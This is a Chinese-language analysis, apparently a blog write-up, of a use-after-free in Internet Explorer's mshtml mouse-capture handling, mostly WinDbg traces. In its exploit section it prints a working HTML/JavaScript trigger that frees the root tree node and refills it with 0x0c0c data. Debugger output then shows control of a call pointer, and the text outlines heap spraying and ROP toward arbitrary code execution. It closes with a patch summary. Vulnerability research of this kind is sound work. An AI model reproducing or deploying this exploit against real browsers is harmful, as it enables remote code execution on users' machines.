往下走,进入到ClearMouseCapture,这里要注意,虽然当前是由id_1.setCapture进入的,但id_1并没有结束,也就是说如果运行到了clear,那清除的将是id_0,从而会调用id_0.onlosecapture
0:012> p
Breakpoint 7 hit
eax=00000000 ebx=00000001 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dae1491 esp=0638c75c ebp=0638c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture:
3dae1491 8bff mov edi,edi
0:012> p
eax=00000000 ebx=00000001 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dae1493 esp=0638c75c ebp=0638c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture+0x2:
3dae1493 55 push ebp
0:012> p
eax=00000000 ebx=00000001 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dae1494 esp=0638c758 ebp=0638c78c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture+0x3:
3dae1494 8bec mov ebp,esp
0:012> p
eax=00000000 ebx=00000001 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dae1496 esp=0638c758 ebp=0638c758 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture+0x5:
3dae1496 81ec9c000000 sub esp,9Ch
0:012> p
eax=00000000 ebx=00000001 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dae149c esp=0638c6bc ebp=0638c758 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040212
mshtml!CDoc::SetMouseCapture+0xb:
3dae149c 53 push ebx
0:012> p
eax=00000000 ebx=00000001 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dae149d esp=0638c6b8 ebp=0638c758 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040212
mshtml!CDoc::SetMouseCapture+0xc:
3dae149d 8b5d08 mov ebx,dword ptr [ebp+8] ss:0023:0638c760=072db6a8
0:012> p
eax=00000000 ebx=072db6a8 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dae14a0 esp=0638c6b8 ebp=0638c758 iopl=0 nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040212
mshtml!CDoc::SetMouseCapture+0xf:
3dae14a0 66f783540700000010 test word ptr [ebx+754h],1000h ds:0023:072dbdfc=e060
0:012> p
eax=00000000 ebx=072db6a8 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dae14a9 esp=0638c6b8 ebp=0638c758 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture+0x18:
3dae14a9 56 push esi
0:012> p
eax=00000000 ebx=072db6a8 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dae14aa esp=0638c6b4 ebp=0638c758 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture+0x19:
3dae14aa 57 push edi
0:012> p
eax=00000000 ebx=072db6a8 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=072db6a8
eip=3dae14ab esp=0638c6b0 ebp=0638c758 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture+0x1a:
3dae14ab 8bf8 mov edi,eax
0:012> p
eax=00000000 ebx=072db6a8 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=00000000
eip=3dae14ad esp=0638c6b0 ebp=0638c758 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture+0x1c:
3dae14ad 0f8598872000 jne mshtml!CDoc::SetMouseCapture+0x1e (3dce9c4b) [br=0]
0:012> p
eax=00000000 ebx=072db6a8 ecx=00000000 edx=00000000 esi=1d8c6fd8 edi=00000000
eip=3dae14b3 esp=0638c6b0 ebp=0638c758 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture+0x20:
3dae14b3 33f6 xor esi,esi
0:012> p
eax=00000000 ebx=072db6a8 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=3dae14b5 esp=0638c6b0 ebp=0638c758 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture+0x22:
3dae14b5 3bfe cmp edi,esi
0:012> p
eax=00000000 ebx=072db6a8 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=3dae14b7 esp=0638c6b0 ebp=0638c758 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture+0x24:
3dae14b7 0f8518390d00 jne mshtml!CDoc::SetMouseCapture+0x32 (3dbb4dd5) [br=0]
0:012> p
eax=00000000 ebx=072db6a8 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=3dae14bd esp=0638c6b0 ebp=0638c758 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture+0x26:
3dae14bd 56 push esi
0:012> p
eax=00000000 ebx=072db6a8 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=3dae14be esp=0638c6ac ebp=0638c758 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture+0x27:
3dae14be 53 push ebx
0:012> p
eax=00000000 ebx=072db6a8 ecx=00000000 edx=00000000 esi=00000000 edi=00000000
eip=3dae14bf esp=0638c6a8 ebp=0638c758 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::SetMouseCapture+0x28:
3dae14bf e8a4250400 call mshtml!CDoc::ClearMouseCapture (3db23a68)
id_0.onlosecapture中写有document.write(“”);会清空整个document包括根节点。按理说这句话应该把所有对象清除。但是我调试的过程中并没发生异常。继续往下走来到了崩溃函数,发现根节点已经被清除,然后又被调用了。虽然不知道为什么前面调试的时候没有异常,但经过它之后确实被清除崩溃了。所以主要的漏洞点还是在这里。
0:012> g
Breakpoint 5 hit
eax=00000000 ebx=11932fb0 ecx=072db6a8 edx=0638c570 esi=0638c838 edi=11932fb0
eip=3db0bf73 esp=0638c794 ebp=0638c814 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::HasContainerCapture:
3db0bf73 8bff mov edi,edi
0:012> dd 11932fb0
11932fb0 ???????? ???????? ???????? ????????
11932fc0 ???????? ???????? ???????? ????????
11932fd0 ???????? ???????? ???????? ????????
11932fe0 ???????? ???????? ???????? ????????
11932ff0 ???????? ???????? ???????? ????????
11933000 ???????? ???????? ???????? ????????
11933010 ???????? ???????? ???????? ????????
11933020 ???????? ???????? ???????? ????????
0:012> ln poi(poi(11932fb0))
Memory access error at '))'
0:012> ln poi(poi(11932fb0))
Memory access error at '))'
0:012> p
eax=00000000 ebx=11932fb0 ecx=072db6a8 edx=0638c570 esi=0638c838 edi=11932fb0
eip=3db0bf75 esp=0638c794 ebp=0638c814 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::HasContainerCapture+0x2:
3db0bf75 55 push ebp
0:012> p
eax=00000000 ebx=11932fb0 ecx=072db6a8 edx=0638c570 esi=0638c838 edi=11932fb0
eip=3db0bf76 esp=0638c790 ebp=0638c814 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::HasContainerCapture+0x3:
3db0bf76 8bec mov ebp,esp
0:012> p
eax=00000000 ebx=11932fb0 ecx=072db6a8 edx=0638c570 esi=0638c838 edi=11932fb0
eip=3db0bf78 esp=0638c790 ebp=0638c790 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::HasContainerCapture+0x5:
3db0bf78 51 push ecx
0:012> p
eax=00000000 ebx=11932fb0 ecx=072db6a8 edx=0638c570 esi=0638c838 edi=11932fb0
eip=3db0bf79 esp=0638c78c ebp=0638c790 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::HasContainerCapture+0x6:
3db0bf79 56 push esi
0:012> p
eax=00000000 ebx=11932fb0 ecx=072db6a8 edx=0638c570 esi=0638c838 edi=11932fb0
eip=3db0bf7a esp=0638c788 ebp=0638c790 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::HasContainerCapture+0x7:
3db0bf7a e821000000 call mshtml!CDoc::GetLastCapture (3db0bfa0)
0:012> p
eax=00000000 ebx=11932fb0 ecx=072db6a8 edx=0638c570 esi=0638c838 edi=11932fb0
eip=3db0bf7f esp=0638c788 ebp=0638c790 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::HasContainerCapture+0xc:
3db0bf7f 8bf0 mov esi,eax
0:012> p
eax=00000000 ebx=11932fb0 ecx=072db6a8 edx=0638c570 esi=00000000 edi=11932fb0
eip=3db0bf81 esp=0638c788 ebp=0638c790 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::HasContainerCapture+0xe:
3db0bf81 33c0 xor eax,eax
0:012> p
eax=00000000 ebx=11932fb0 ecx=072db6a8 edx=0638c570 esi=00000000 edi=11932fb0
eip=3db0bf83 esp=0638c788 ebp=0638c790 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040246
mshtml!CDoc::HasContainerCapture+0x10:
3db0bf83 3bf8 cmp edi,eax
0:012> p
eax=00000000 ebx=11932fb0 ecx=072db6a8 edx=0638c570 esi=00000000 edi=11932fb0
eip=3db0bf85 esp=0638c788 ebp=0638c790 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::HasContainerCapture+0x12:
3db0bf85 0f845e8f0a00 je mshtml!CDoc::HasContainerCapture+0x1b (3dbb4ee9) [br=0]
0:012> p
eax=00000000 ebx=11932fb0 ecx=072db6a8 edx=0638c570 esi=00000000 edi=11932fb0
eip=3db0bf8b esp=0638c788 ebp=0638c790 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CDoc::HasContainerCapture+0x14:
3db0bf8b 8b0f mov ecx,dword ptr [edi] ds:0023:11932fb0=????????
这个是后面补充的因为重开了,所以根节点的地址不同。这里是关闭了页堆直接执行到了程序崩溃的位置,可以看到程序崩溃的位置在call上,call的地址就是前面根节点的地址的地址。这里0x521fb78是根节点。
0:011> dd 0521fb78
0521fb78 0517037d 00000000 ffff6410 ffffffff
0521fb88 00000571 00000008 00000000 00000000
0521fb98 0521fe08 05233ba8 00000062 00000000
0521fba8 00000000 00000000 05232078 05220a10
0521fbb8 00000008 00000000 00000000 00000000
0521fbc8 ef059079 ff080000 00000372 3db58498
0521fbd8 da800c80 141a0003 00000000 00000000
0521fbe8 00000000 000008fc 00000000 00003264
0:011> dd 0517037d
0517037d 01ffffff 02000000 f0000000 fc0505c3
0517038d 0105152c 04000000 50000000 680505c4
0517039d 0105151a 05000000 50000000 180505c4
051703ad 0e05152d 00ef1281 07ff0800 01000001
051703bd 00000000 ff000000 01ffffff 02000000
051703cd 00000000 00000000 01000000 04000000
051703dd 00000000 00000000 06000000 05000008
051703ed 00000000 ff000000 07ffffff 00ef1281
0:011> r
eax=0517037d ebx=0521fb78 ecx=01ffffff edx=0283c774 esi=3db55244 edi=3db6a37c
eip=3db6a4a6 esp=0283c754 ebp=0283c778 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050293
mshtml!CTreeNode::GetInterface+0xb6:
3db6a4a6 ff11 call dword ptr [ecx] ds:0023:01ffffff=????????
漏洞利用
Exp:
<html>
<script>
lfh = new Array(20);
for(i = 0; i < lfh.length; i++) {
lfh[i] = document.createElement('div');
lfh[i].className = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
}
function trigger()
{
var id_0 = document.createElement("sup");
var id_1 = document.createElement("audio");
document.body.appendChild(id_0);
document.body.appendChild(id_1);
id_1.applyElement(id_0);
id_0.onlosecapture=function(e) {
document.write("");
tt = new Array(20);
for(i = 0; i < tt.length; i++) {
tt[i] = document.createElement('div');
tt[i].className = "\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c";
}
}
id_0['outerText']="";
id_0.setCapture();
id_1.setCapture();
}
window.onload = function() {
trigger();
}
</script>
</html>
这个exp因为堆分配的原因不一定每次都有效,需要多试几次。还是利用tan帮助我们分析,先断在tan的位置然后打开CTreeNode断点,来找根节点的位置。
0:030> g
ModLoad: 762d0000 762e0000 C:WINDOWSsystem32winsta.dll
Breakpoint 1 hit
eax=00000000 ebx=02a3ca88 ecx=00000002 edx=00000003 esi=02a3ca78 edi=02a3ca78
eip=3e388afa esp=02a3c974 ebp=02a3c9b0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040216
jscript!tan:
3e388afa ff25a010353e jmp dword ptr [jscript!_imp__tan (3e3510a0)]
ds:0023:3e3510a0={msvcrt!tan (77c1d5e4)}
0:013> be 0
0:013> bl
0 e 3da9ee16 0001 (0001) 0:**** mshtml!CTreeNode::CTreeNode
1 e 3e388afa 0001 (0001) 0:**** jscript!tan
2 d 3e389b1d 0001 (0001) 0:**** jscript!sin
3 d 3e389945 0001 (0001) 0:**** jscript!cos
4 d 3da9df9c 0001 (0001) 0:**** mshtml!CElement::CElement
5 d 3db0bf73 0001 (0001) 0:**** mshtml!CDoc::HasContainerCapture
6 d 3db0b977 0001 (0001) 0:**** mshtml!CDoc::PumpMessage
7 d 3dae1491 0001 (0001) 0:**** mshtml!CDoc::SetMouseCapture
8 d 3db0b7fb 0001 (0001) 0:**** mshtml!CDoc::ReleaseDetachedCaptures
找到根节点为04e0ef78
0:013> g
Breakpoint 0 hit
eax=04a1b068 ebx=00000000 ecx=04a1b068 edx=0000004c esi=02a3c788 edi=04e34358
eip=3da9ee16 esp=02a3c6bc ebp=02a3c758 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CTreeNode::CTreeNode:
3da9ee16 8bff mov edi,edi
0:013> g
Breakpoint 1 hit
eax=00000000 ebx=02a3ca88 ecx=00000002 edx=00000003 esi=02a3ca78 edi=02a3ca78
eip=3e388afa esp=02a3c974 ebp=02a3c9b0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040216
jscript!tan:
3e388afa ff25a010353e jmp dword ptr [jscript!_imp__tan (3e3510a0)]
ds:0023:3e3510a0={msvcrt!tan (77c1d5e4)}
0:013> dd 04a1b068
04a1b068 04e34358 04e0ef78 ffff0260 ffffffff
04a1b078 00000061 00000000 04a2ba78 04a2bc08
04a1b088 04a2bc08 04a1b090 00000052 00000000
04a1b098 04a2b910 04e0efa0 04a1b078 04a2b910
04a1b0a8 00000008 00000000 00000000 00000000
04a1b0b8 eebde7cf ff080000 049a00b2 00000000
04a1b0c8 ffff0458 ffffffff 00000171 00000002
04a1b0d8 00000000 00000000 04a1b1f0 04a1b0e8
0:013> dd 04e0ef78
04e0ef78 04cdefb0 04e0f4a0 00016210 00020000
04e0ef88 00000551 00000008 04e0de58 04a1b078
04e0ef98 04e0de70 04a2bc08 00000062 00000000
04e0efa8 04e0dd10 04a2ba78 04a2ba78 04e0f4c8
04e0efb8 00000008 00000000 00000000 000016a8
04e0efc8 eeeb9901 ff080000 000005f0 3db58498
04e0efd8 c2c00c80 14000003 00000000 00000000
04e0efe8 00000000 0000076c 00000640 00000ed8
关闭CTreeNode,打开CElement,当前的情况是根节点已经被清空,exp紧接着申请新的空间并赋值0x0c。可以看到运行几遍之后之前的根节点里面的数据已经被覆盖成0x0c0c
id_0.onlosecapture=function(e) {
document.write("");
tt = new Array(20);
for(i = 0; i < tt.length; i++) {
tt[i] = document.createElement('div');
tt[i].className = "\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c\u0c0c";
}
}
0:013> g
Breakpoint 1 hit
eax=00000000 ebx=02a3ca88 ecx=00000002 edx=00000003 esi=02a3ca78 edi=02a3ca78
eip=3e388afa esp=02a3c974 ebp=02a3c9b0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040216
jscript!tan:
3e388afa ff25a010353e jmp dword ptr [jscript!_imp__tan (3e3510a0)]
ds:0023:3e3510a0={msvcrt!tan (77c1d5e4)}
0:013> bd 0
0:013> be 4
0:013> g
Breakpoint 4 hit
eax=04e340b8 ebx=7c9300c4 ecx=7c9301db edx=00000028 esi=04e340b8 edi=04e340b8
eip=3da9df9c esp=02a3b7a8 ebp=02a3b7b4 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CElement::CElement:
3da9df9c 8bff mov edi,edi
0:013> g
Breakpoint 1 hit
eax=00000000 ebx=02a3bba8 ecx=00000002 edx=00000003 esi=02a3bb98 edi=02a3bb98
eip=3e388afa esp=02a3bab4 ebp=02a3baf0 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040216
jscript!tan:
3e388afa ff25a010353e jmp dword ptr [jscript!_imp__tan (3e3510a0)]
ds:0023:3e3510a0={msvcrt!tan (77c1d5e4)}
0:013> g
Breakpoint 4 hit
eax=04e343e8 ebx=3db59ec0 ecx=7c9301db edx=00000028 esi=04e343e8 edi=02a3b8f0
eip=3da9df9c esp=02a3b874 ebp=02a3b880 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CElement::CElement:
3da9df9c 8bff mov edi,edi
0:013> g
Breakpoint 4 hit
eax=04e360f8 ebx=3db59ec0 ecx=7c9301db edx=00000028 esi=04e360f8 edi=02a3b8f0
eip=3da9df9c esp=02a3b874 ebp=02a3b880 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040202
mshtml!CElement::CElement:
3da9df9c 8bff mov edi,edi
0:013> g
Breakpoint 4 hit
eax=04e37ad8 ebx=3db59ec0 ecx=7c9301db edx=00000028 esi=04e37ad8 edi=02a3b8f0
eip=3da9df9c esp=02a3b874 ebp=02a3b880 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CElement::CElement:
3da9df9c 8bff mov edi,edi
0:013> g
Breakpoint 4 hit
eax=04e37778 ebx=3db59ec0 ecx=7c9301db edx=00000028 esi=04e37778 edi=02a3b8f0
eip=3da9df9c esp=02a3b874 ebp=02a3b880 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206
mshtml!CElement::CElement:
3da9df9c 8bff mov edi,edi
0:013> dd 04e0ef78
04e0ef78 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
04e0ef88 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
04e0ef98 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
04e0efa8 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
04e0efb8 0c0c0c0c 0c0c0c0c 0c0c0c0c 00000c0c
04e0efc8 eeeb9901 ff080000 000005f0 3db58498
04e0efd8 c2c00c80 14000003 00000000 00000000
04e0efe8 00000000 0000076c 00000640 00000ed8
之后来到了这里中断,可以看到后面还有个call ecx,所以我们只需要把shellcode喷射到0x0c0c0c0c的位置就可以完成ASLR的绕过,然后再利用ROP技术来绕过DEP就可以实现任意代码执行。
0:013> g
(be0.40c): Access violation - code c0000005 (!!! second chance !!!)
eax=0c0c0c0c ebx=04e0ef78 ecx=00000003 edx=00000000 esi=3db55244 edi=3db6a37c
eip=3db6a49c esp=02a3c760 ebp=02a3c778 iopl=0 nv up ei ng nz ac po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040293
mshtml!CTreeNode::GetInterface+0xac:
3db6a49c 8b08 mov ecx,dword ptr [eax] ds:0023:0c0c0c0c=????????
漏洞补丁
将进入PumpMessage的判断条件修正了一下:如果对象已经不在DOM树上,将不进入PumpMessage。
参考链接
https://www.freebuf.com/vuls/54786.html
https://bbs.pediy.com/thread-226879.htm